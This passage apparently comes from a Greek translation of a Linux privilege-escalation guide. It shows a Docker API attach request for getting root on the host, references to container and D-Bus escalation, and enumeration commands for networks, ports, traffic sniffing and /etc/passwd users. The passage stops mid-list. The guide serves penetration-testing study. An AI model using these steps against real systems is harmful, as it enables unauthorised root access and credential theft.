POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Μετά την ρύθμιση της σύνδεσης socat, μπορείτε να εκτελέσετε εντολές απευθείας στο εμπόρευμα με πρόσβαση σε root επίπεδο στο αρχείο συστήματος του φιλοξενητή.

Άλλα

Σημειώστε ότι αν έχετε δικαιώματα εγγραφής στο socket του docker επειδή βρίσκεστε μέσα στην ομάδα docker έχετε περισσότερους τρόπους ανάδειξης δικαιωμάτων. Αν η διεπαφή του docker ακούει σε ένα θύρα μπορείτε επίσης να την εκμεταλλευτείτε.

Ελέγξτε περισσότερους τρόπους να διαφύγετε από το docker ή να το καταχραστείτε για ανάδειξη δικαιωμάτων σε:

Docker Security

Ανάδειξη Δικαιωμάτων Containerd (ctr)

Αν βρείτε ότι μπορείτε να χρησιμοποιήσετε την εντολή ctr διαβάστε την παρακάτω σελίδα καθώς μπορείτε να την καταχραστείτε για ανάδειξη δικαιωμάτων:

Containerd (ctr) Privilege Escalation

Ανάδειξη Δικαιωμάτων RunC

Αν βρείτε ότι μπορείτε να χρησιμοποιήσετε την εντολή runc διαβάστε την παρακάτω σελίδα καθώς μπορείτε να την καταχραστείτε για ανάδειξη δικαιωμάτων:

RunC Privilege Escalation

D-Bus

Το D-Bus είναι ένα εξελιγμένο σύστημα Επικοινωνίας Διεργασιών (IPC) που επιτρέπει σε εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποτελεσματικά. Σχεδιασμένο με το μοντέρνο σύστημα Linux στο μυαλό, προσφέρει ένα στιβαρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών.

Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασική IPC που βελτιώνει την ανταλλαγή δεδομένων μεταξύ διεργασιών, θυμίζοντας τις βελτιωμένες UNIX domain sockets. Επιπλέον, βοηθά στη μετάδοση συμβάντων ή σημάτων, προωθώντας την ομαλή ενσωμάτωση μεταξύ στοιχείων του συστήματος. Για παράδειγμα, ένα σήμα από ένα δαίμονα Bluetooth για μια εισερχόμενη κλήση μπορεί να προκαλέσει τον σίγαση του αναπαραγωγέα μουσικής, βελτιώνοντας την εμπειρία χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα απομακρυσμένο σύστημα αντικειμένων, απλοποιώντας τις αιτήσεις υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, διευκολύνοντας τις διαδικασίες που ήταν παραδοσιακά πολύπλοκες.

Το D-Bus λειτουργεί με βάση ένα μοντέλο επιτροπής/απαγόρευσης, διαχειρίζοντας τις άδειες μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κλπ) με βάση το συνολικό αποτέλεσμα των αντιστοιχιών των κανόνων πολιτικής. Αυτοί οι κανόνες καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, ενδεχομένως επιτρέποντας την ανάδειξη δικαιωμάτων μέσω της εκμετάλλευσης αυτών των αδειών.

Παρέχεται ένα παράδειγμα τέτοιας πολιτικής στο /etc/dbus-1/system.d/wpa_supplicant.conf, που περιγράφει τις άδειες για το ριζικό χρήστη να κατέχει, να στέλνει και να λαμβάνει μηνύματα από το fi.w1.wpa_supplicant1.

Οι πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα ισχύουν καθολικά, ενώ οι πολιτικές πλαισίου "προεπιλογή" ισχύουν για όλους όσοι δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Μάθετε πώς να απαριθμήσετε και να εκμεταλλευτείτε μια επικοινωνία D-Bus εδώ:

D-Bus Enumeration & Command Injection Privilege Escalation

Δίκτυο

Είναι πάντα ενδιαφέρον να απαριθμήσετε το δίκτυο και να καταλάβετε τη θέση της μηχανής.

Γενική απαρίθμηση

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Ανοιχτές θύρες

Πάντα ελέγχετε τις δικτυακές υπηρεσίες που εκτελούνται στο μηχάνημα και με τις οποίες δεν ήταν δυνατή η αλληλεπίδραση πριν την πρόσβαση σε αυτό:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Καταγραφή Κίνησης

Ελέγξτε εάν μπορείτε να καταγράψετε την κίνηση. Αν μπορείτε, θα μπορούσατε να αποκτήσετε πρόσβαση σε ορισμένα διαπιστευτήρια.

timeout 1 tcpdump

Χρήστες

Γενική Απαρίθμηση

Ελέγξτε ποιος είστε, ποια προνόμια έχετε, ποιοι χρήστες υπάρχουν στα συστήματα, ποιοι μπορούν να συνδεθούν και ποιοι έχουν δικαιώματα root:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history